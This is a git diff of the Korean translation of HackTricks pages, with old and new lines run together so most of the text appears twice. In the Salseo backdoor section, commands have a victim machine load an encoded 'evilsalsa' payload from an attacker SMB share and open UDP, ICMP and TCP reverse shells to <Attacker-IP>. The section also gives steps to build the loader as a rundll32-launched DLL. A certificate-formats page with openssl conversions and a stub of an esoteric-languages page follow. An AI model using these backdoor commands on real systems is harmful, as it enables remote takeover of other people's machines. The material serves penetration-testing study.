UDP 리버스 쉘 수신기로 nc를 시작하고 인코딩된 evilsalsa를 제공하기 위해 SMB 서버를 시작하는 것을 기억하세요 (impacket-smbserver). 리버스 셸 리스너로 nc를 시작하고, 인코딩된 evilsalsa를 제공하기 위해 SMB 서버를 시작하는 것을 잊지 마세요 (impacket-smbserver).
``` ```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port> SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
``` ```
### **ICMP 역쉘 획득하기 (인코딩된 dll 이미 피해자 내부에 존재)** ### **ICMP 리버스 셸 얻기 (피해자 내부에 이미 인코딩된 dll)**
**이번에는 역쉘을 수신하기 위해 클라이언트에 특수 도구가 필요합니다. 다운로드:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) **이번에는 리버스 셸을 수신하기 위해 클라이언트에 특별한 도구가 필요합니다. 다운로드:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
#### **ICMP 응답 비활성화:** #### **ICMP 응답 비활성화:**
``` ```
@ -77,15 +78,15 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
``` ```
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>" python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
``` ```
#### 피해자 내부에서, salseo 작업을 실행니다: #### 피해자 내부에서, salseo 작업을 실행해 보겠습니다:
``` ```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP> SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
``` ```
## SalseoLoader의 주 함수 내보내는 DLL로 컴파일하기 ## SalseoLoader를 DLL로 컴파일하여 메인 함수 내보내
Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다. Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.
### 함수 앞에 추가: \[DllExport] ### 메인 함수 앞에 추가: \[DllExport]
![](<../.gitbook/assets/image (409).png>) ![](<../.gitbook/assets/image (409).png>)
@ -95,59 +96,57 @@ Visual Studio를 사용하여 SalseoLoader 프로젝트를 엽니다.
![](<../.gitbook/assets/image (881).png>) ![](<../.gitbook/assets/image (881).png>)
#### **DllExport 패키지 검색 (탐색 탭 사용)하여 설치 (팝업 수락)** #### **DllExport 패키지 검색 (탭에서 찾아보기 사용), 설치를 누르고 (팝업을 수락)**
![](<../.gitbook/assets/image (100).png>) ![](<../.gitbook/assets/image (100).png>)
프로젝트 폴더에 **DllExport.bat****DllExport\_Configure.bat** 파일이 나타납니다. 프로젝트 폴더에 **DllExport.bat****DllExport\_Configure.bat** 파일이 나타납니다.
### DllExport 제거 ### **U**ninstall DllExport
**제거**를 누릅니다 (이상하지만, 필요합니다) **Uninstall**을 누릅니다 (이상하게 들리지만 믿어주세요, 필요합니다)
![](<../.gitbook/assets/image (97).png>) ![](<../.gitbook/assets/image (97).png>)
### Visual Studio를 종료하고 DllExport\_configure 실행 ### **Visual Studio 종료 및 DllExport\_configure 실행**
그냥 Visual Studio를 **종료**합니다 그냥 **종료**합니다 Visual Studio
그런 다음, **SalseoLoader 폴더**로 이동하여 **DllExport\_Configure.bat**을 실행합니다 그런 다음, **SalseoLoader 폴더**로 가서 **DllExport\_Configure.bat**를 실행합니다.
**x64**를 선택합니다 (x64 상자 내에서 사용할 경우), **System.Runtime.InteropServices** (DllExport의 네임스페이스 내)를 선택하고 **적용**을 누릅니다 **x64**를 선택합니다 (x64 박스 내에서 사용할 경우, 제 경우가 그랬습니다), **System.Runtime.InteropServices**를 선택합니다 ( **DllExport**의 **네임스페이스** 내에서) 그리고 **적용**을 누릅니다.
![](<../.gitbook/assets/image (882).png>) ![](<../.gitbook/assets/image (882).png>)
### 프로젝트를 다시 Visual Studio로 엽니다 ### **Visual Studio로 프로젝트 다시 열기**
**\[DllExport]** 더 이상 오류로 표시되지 않아야 합니다 **\[DllExport]** 더 이상 오류로 표시되지 않아야 합니다.
![](<../.gitbook/assets/image (670).png>) ![](<../.gitbook/assets/image (670).png>)
### 솔루션 빌드 ### 솔루션 빌드
**출력 유형 = 클래스 라이브러리** 선택 (프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리) **출력 유형 = 클래스 라이브러리** 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 응용 프로그램 --> 출력 유형 = 클래스 라이브러리)
![](<../.gitbook/assets/image (847).png>) ![](<../.gitbook/assets/image (847).png>)
**x64 플랫폼** 선택 (프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64) **x64** **플랫폼**을 선택합니다 (프로젝트 --> SalseoLoader 속성 --> 빌드 --> 플랫폼 대상 = x64)
![](<../.gitbook/assets/image (285).png>)
솔루션을 **빌드**하려면: 빌드 --> 솔루션 빌드 (출력 콘솔 내에 새 DLL의 경로가 나타납니다) 솔루션을 **빌드**하려면: 빌드 --> 솔루션 빌드 (출력 콘솔 내에 새 DLL의 경로가 나타납니다)
### 생성된 Dll 테스트 ### 생성된 Dll 테스트
Dll을 테스트하려는 위치로 복사하여 붙여넣습니다. 테스트할 위치에 Dll을 복사하고 붙여넣습니다.
실행: 실행:
``` ```
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
만약 오류가 나타나지 않는다면, 아마도 기능적인 DLL이 있을 것입니다!! 오류가 나타나지 않으면, 아마도 기능하는 DLL이 있는 것입니다!!
## DLL을 사용하여 쉘 획득 ## DLL을 사용하여 셸 얻기
**HTTP** **서버**를 사용하고 **nc** **리스너**를 설정하는 것을 잊지 마세요 **HTTP** **서버**를 사용하고 **nc** **리스너**를 설정하는 것을 잊지 마세요.
### Powershell ### Powershell
``` ```
@ -158,8 +157,6 @@ $env:lport="1337"
$env:shell="reversetcp" $env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
### CMD
### CMD ### CMD
``` ```
set pass=password set pass=password
@ -169,16 +166,17 @@ set lport=1337
set shell=reversetcp set shell=reversetcp
rundll32.exe SalseoLoader.dll,main rundll32.exe SalseoLoader.dll,main
``` ```
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>제로부터 영웨이 에이브이에스 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
</details> </details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# 인증서 # Certificates
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary> <summary>Support HackTricks</summary>
HackTricks를 지원하는 다른 방법: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates)를 사용하여 **세계에서 가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\ Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
오늘 바로 액세스하세요: Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## 인증서란 ## What is a Certificate
**공개 키 인증서**는 암호학에서 사용되는 디지털 ID로, 누군가가 공개 키를 소유하고 있음을 증명하는 데 사용됩니다. 이는 키의 세부 정보, 소유자의 신원(주체) 및 신뢰할 수 있는 기관(발급자)의 디지털 서명을 포함합니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하, 해당 소유자와 안전한 통신이 가능합니다. A **public key certificate**는 암호학에서 누군가가 공개 키를 소유하고 있음을 증명하는 디지털 ID입니다. 여기에는 키의 세부정보, 소유자의 신원(주체), 그리고 신뢰할 수 있는 기관(발급자)의 디지털 서명이 포함됩니다. 소프트웨어가 발급자를 신뢰하고 서명이 유효하면 키 소유자와 안전한 통신이 가능합니다.
인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority)(CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure)(PKI) 설정에서 발급됩니다. 다른 방법은 사용자가 서로 키를 직접 확인하는 [신뢰 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에서 개별 요구 사항에 맞게 조정할 수 있습니다. 인증서는 주로 [인증 기관](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs)에 의해 [공개 키 인프라](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) 설정에서 발급됩니다. 다른 방법은 [신뢰 웹](https://en.wikipedia.org/wiki/Web\_of\_trust)으로, 사용자가 서로의 키를 직접 검증하는 방식입니다. 인증서의 일반적인 형식은 [X.509](https://en.wikipedia.org/wiki/X.509)이며, RFC 5280에 설명된 대로 특정 요구에 맞게 조정될 수 있습니다.
## x509 공통 필드 ## x509 Common Fields
### **x509 인증서의 공통 필드** ### **Common Fields in x509 Certificates**
x509 인증서에서 여러 **필드**가 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 이러한 필드를 살펴보겠습니다: x509 인증서에서 여러 **필드**는 인증서의 유효성과 보안을 보장하는 데 중요한 역할을 합니다. 다음은 이러한 필드의 분류입니다:
* **버전 번호**는 x509 형식의 버전을 나타냅니다. * **Version Number**는 x509 형식의 버전을 나타냅니다.
* **일련 번호**는 주로 폐기 추적을 위해 인증 기관(CA) 시스템 내에서 인증서를 고유하게 식별합니다. * **Serial Number**는 인증서를 인증 기관(CA) 시스템 내에서 고유하게 식별하며, 주로 폐기 추적을 위해 사용됩니다.
* **주체** 필드는 인증서의 소유자를 나타내며, 기계, 개인 또는 조직일 수 있습니다. 다음과 같은 자세한 식별 정보를 포함합니다: * **Subject** 필드는 인증서의 소유자를 나타내며, 이는 기계, 개인 또는 조직일 수 있습니다. 여기에는 다음과 같은 세부 식별 정보가 포함됩니다:
* **일반 이름 (CN)**: 인증서가 적용되는 도메인. * **Common Name (CN)**: 인증서가 적용되는 도메인.
* **국가 (C)**, **지역 (L)**, **주 또는 지방 (ST, S 또는 P)**, **조직 (O)** 및 **조직 단위 (OU)**는 지리적 및 조직적 세부 정보를 제공합니다. * **Country (C)**, **Locality (L)**, **State or Province (ST, S, 또는 P)**, **Organization (O)**, 및 **Organizational Unit (OU)**는 지리적 및 조직적 세부정보를 제공합니다.
* **식별 이름 (DN)**은 전체 주체 식별을 캡슐화합니다. * **Distinguished Name (DN)**는 전체 주체 식별을 요약합니다.
* **발급자**는 인증서를 확인하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다. * **Issuer**는 인증서를 검증하고 서명한 사람을 나타내며, CA에 대한 주체와 유사한 하위 필드를 포함합니다.
* **유효 기간**은 **Not Before** 및 **Not After** 타임스탬프로 표시되어, 특정 날짜 이전 또는 이후에 인증서가 사용되지 않도록 합니다. * **Validity Period**는 **Not Before** 및 **Not After** 타임스탬프로 표시되어 인증서가 특정 날짜 이전이나 이후에 사용되지 않도록 보장합니다.
* 인증서의 보안에 중요한 **공개 키** 섹션은 공개 키의 알고리즘, 크기 및 기술적 세부 정보를 지정합니다. * **Public Key** 섹션은 인증서의 보안에 중요한 부분으로, 공개 키의 알고리즘, 크기 및 기타 기술적 세부정보를 지정합니다.
* **x509v3 확장**은 인증서의 기능성을 향상시키며, **키 사용**, **확장 키 사용**, **주체 대체 이름** 및 인증서의 응용 프로그램을 세밀하게 조정하기 위한 기타 속성을 지정합니다. * **x509v3 extensions**는 인증서의 기능을 향상시키며, **Key Usage**, **Extended Key Usage**, **Subject Alternative Name** 및 기타 속성을 지정하여 인증서의 적용을 세밀하게 조정합니다.
#### **키 사용 및 확장** #### **Key Usage and Extensions**
* **키 사용**은 공개 키의 암호화 응용 프로그램을 식별합니다. 예: 디지털 서명 또는 키 암호화. * **Key Usage**는 공개 키의 암호화 응용 프로그램을 식별하며, 디지털 서명 또는 키 암호화와 같은 용도로 사용됩니다.
* **확장 키 사용**은 인증서의 사용 사례를 더 세분화합니다. 예: TLS 서버 인증용. * **Extended Key Usage**는 인증서의 사용 사례를 더욱 좁히며, 예를 들어 TLS 서버 인증을 위한 것입니다.
* **주체 대체 이름** 및 **기본 제약**은 인증서가 적용되는 추가 호스트 이름 및 CA 또는 종단 개체 인증서인지 여부를 정의합니다. * **Subject Alternative Name** 및 **Basic Constraint**는 인증서가 적용되는 추가 호스트 이름과 인증서가 CA인지 최종 엔티티 인증서인지를 정의합니다.
* **주체 키 식별자** 및 **발급자 키 식별자**는 키의 고유성과 추적 가능성을 보장합니다. * **Subject Key Identifier** 및 **Authority Key Identifier**와 같은 식별자는 키의 고유성과 추적 가능성을 보장합니다.
* **발급자 정보 액세스** 및 **CRL 배포 지점**은 발급 CA를 확인하고 인증서 폐기 상태를 확인하기 위한 경로를 제공합니다. * **Authority Information Access** 및 **CRL Distribution Points**는 발급 CA를 검증하고 인증서 폐기 상태를 확인하는 경로를 제공합니다.
* **CT 사전 인증서 SCT**는 인증서에 대한 공개 신뢰에 중요한 투명성 로그를 제공합니다. * **CT Precertificate SCTs**는 인증서에 대한 공공 신뢰를 위해 중요한 투명성 로그를 제공합니다.
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -74,99 +75,101 @@ print(f"Issuer: {issuer}")
print(f"Subject: {subject}") print(f"Subject: {subject}")
print(f"Public Key: {public_key}") print(f"Public Key: {public_key}")
``` ```
### **OCSP와 CRL 배포 지점의 차이** ### **OCSP와 CRL 배포 지점의 차이**
**OCSP** (**RFC 2560**)은 디지털 공개 키 인증서가 폐기되었는지 확인하기 위해 클라이언트와 응답기가 함께 작동하여 전체 **CRL**을 다운로드할 필요 없이 확인하는 방법입니다. 이 방법은 전통적인 **CRL**보다 효율적이며, 폐기된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 **CRL**보다 더 효율적입니다. CRL에는 최대 512개의 항목이 포함될 수 있습니다. 자세한 내용은 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)에서 확인할 수 있습니다. **OCSP** (**RFC 2560**)는 클라이언트와 응답자가 협력하여 디지털 공개 키 인증서가 취소되었는지 확인하는 방법으로, 전체 **CRL**을 다운로드할 필요가 없습니다. 이 방법은 취소된 인증서 일련 번호 목록을 제공하지만 잠재적으로 큰 파일을 다운로드해야 하는 전통적인 **CRL**보다 더 효율적입니다. CRL은 최대 512개의 항목을 포함할 수 있습니다. 더 많은 세부정보는 [여기](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)에서 확인할 수 있습니다.
### **인증서 투명성이란** ### **인증서 투명성이란**
인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 투명하게 보이도록하여 인증서 관련 위협에 대항하는 데 도움이 됩니다. 그 목표는 다음과 같습니다: 인증서 투명성은 SSL 인증서의 발급 및 존재가 도메인 소유자, CA 및 사용자에게 보이도록 하여 인증서 관련 위협에 대응하는 데 도움을 줍니다. 그 목표는 다음과 같습니다:
* 도메인 소유자의 동의 없이 CA가 도메인을 위한 SSL 인증서를 발급하는 것을 방지하는 것. * 도메인 소유자의 지식 없이 CA가 도메인에 대한 SSL 인증서를 발급하는 것을 방지합니다.
* 실수로나 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템 설정. * 실수로 또는 악의적으로 발급된 인증서를 추적하기 위한 공개 감사 시스템을 구축합니다.
* 사용자를 사기적인 인증서로부터 보호하는 것. * 사용자들을 사기성 인증서로부터 보호합니다.
#### **인증서 로그** #### **인증서 로그**
인증서 로그는 네트워크 서비스에 의해 유지되는 인증서의 공개 감사 가능한, 추가 전용 레코드입니다. 이러한 로그는 감사 목적을 위한 암호학적 증거를 제공합니다. 발급 기관과 일반인 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만 전 세계적으로 천 개 미만으로 예상됩니다. 이러한 서버는 주로 CA, ISP 또는 관련 기관에 의해 독립적으로 관리될 수 있습니다. 인증서 로그는 네트워크 서비스에 의해 유지되는 공개 감사 가능하고 추가 전용 기록입니다. 이러한 로그는 감사 목적으로 암호학적 증거를 제공합니다. 발급 기관과 대중 모두 이러한 로그에 인증서를 제출하거나 검증을 위해 쿼리할 수 있습니다. 로그 서버의 정확한 수는 고정되어 있지 않지만, 전 세계적으로 천 개 미만일 것으로 예상됩니다. 이러한 서버는 CA, ISP 또는 관심 있는 어떤 주체에 의해 독립적으로 관리될 수 있습니다.
#### **쿼리** #### **쿼리**
어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 [https://crt.sh/](https://crt.sh)를 방문하십시오. 어떤 도메인에 대한 인증서 투명성 로그를 탐색하려면 [https://crt.sh/](https://crt.sh) 를 방문하세요.
인증서를 저장하는 다양한 형식이 있으며, 각 형식은 고유한 사용 사례와 호환성을 가지고 있습니다. 이 요약에서는 주요 형식을 다루고 이들 간의 변환에 대한 지침을 제공합니다.
## **형식** ## **형식**
### **PEM 형식** ### **PEM 형식**
* 인증서에 가장 널리 사용되는 형식. * 인증서에 가장 널리 사용되는 형식입니다.
* Base64 ASCII로 인코딩된 인증서 및 개인 키를 위한 별도의 파일이 필요. * 인증서와 개인 키를 위해 별도의 파일이 필요하며, Base64 ASCII로 인코딩됩니다.
* 일반적인 확장자: .cer, .crt, .pem, .key. * 일반적인 확장자: .cer, .crt, .pem, .key.
* 주로 Apache 및 유사한 서버에서 사용. * 주로 Apache 및 유사한 서버에서 사용됩니다.
### **DER 형식** ### **DER 형식**
* 인증서의 이진 형식. * 인증서의 이진 형식입니다.
* PEM 파일에 있는 "BEGIN/END CERTIFICATE" 문이 없음. * PEM 파일에서 발견되는 "BEGIN/END CERTIFICATE" 문이 없습니다.
* 일반적인 확장자: .cer, .der. * 일반적인 확장자: .cer, .der.
* Java 플랫폼과 함께 자주 사용됨. * 종종 Java 플랫폼과 함께 사용됩니다.
### **P7B/PKCS#7 형식** ### **P7B/PKCS#7 형식**
* Base64 ASCII에 저장된 형식으로, .p7b 또는 .p7c 확장자를 가짐. * Base64 ASCII로 저장되며, 확장자는 .p7b 또는 .p7c입니다.
* 개인 키를 제외한 인증서 및 체인 인증서만 포함. * 개인 키를 제외하고 인증서와 체인 인증서만 포함됩니다.
* Microsoft Windows 및 Java Tomcat에서 지원. * Microsoft Windows 및 Java Tomcat에서 지원됩니다.
### **PFX/P12/PKCS#12 형식** ### **PFX/P12/PKCS#12 형식**
* 서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식. * 서버 인증서, 중간 인증서 및 개인 키를 하나의 파일에 캡슐화하는 이진 형식입니다.
* 확장자: .pfx, .p12. * 확장자: .pfx, .p12.
* 주로 Windows에서 인증서 가져오기 및 내보내기에 사용. * 주로 Windows에서 인증서 가져오기 및 내보내기에 사용됩니다.
### **형식 변환** ### **형식 변환**
호환성을 위해 **PEM 변환**이 필수적입니다: **PEM 변환**은 호환성을 위해 필수적입니다:
* **x509를 PEM으로** * **x509 to PEM**
```bash ```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
``` ```
* **PEM을 DER로 변환하기** * **PEM을 DER로**
```bash ```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der openssl x509 -outform der -in certificatename.pem -out certificatename.der
``` ```
* **DER를 PEM으로** * **DER to PEM**
```bash ```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem openssl x509 -inform der -in certificatename.der -out certificatename.pem
``` ```
* **PEM을 P7B로 변환** * **PEM을 P7B로**
```bash ```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
* **PKCS7를 PEM으로 변환** * **PKCS7에서 PEM으로**
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다: **PFX 변환**은 Windows에서 인증서를 관리하는 데 중요합니다:
* **PFX PEM으로** * **PFX에서 PEM으로**
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
* **PFX를 PKCS#8로 변환**에는 두 단계가 포함됩니다: * **PFX to PKCS#8**는 두 단계로 이루어집니다:
1. PFX를 PEM으로 변환 1. PFX를 PEM으로 변환
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. PEM을 PKCS8로 변환합니다. 2. PEM을 PKCS8로 변환하기
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
* **P7B를 PFX로** 변환하려면 두 개의 명령이 필요합니다: * **P7B to PFX** 또한 두 개의 명령이 필요합니다:
1. P7B를 CER로 변환합니다. 1. P7B를 CER로 변환
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. CER 및 개인 키를 PFX로 변환합니다. 2. CER 및 개인 키를 PFX로 변환하기
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
@ -175,21 +178,22 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates)를 사용하여 세계에서 **가장** **고급** 커뮤니티 도구로 구동되는 **워크플로우를 쉽게 구축** **자동화**하세요.\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
오늘 바로 액세스하세요: 지금 바로 액세스하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong>!</summary> <summary>HackTricks 지원하기</summary>
HackTricks를 지원하는 다른 방법: * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com) 받기
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks****HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
{% endhint %}

View file

@ -1,22 +1,25 @@
# 이상한 언어 # 에소테릭 언어
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
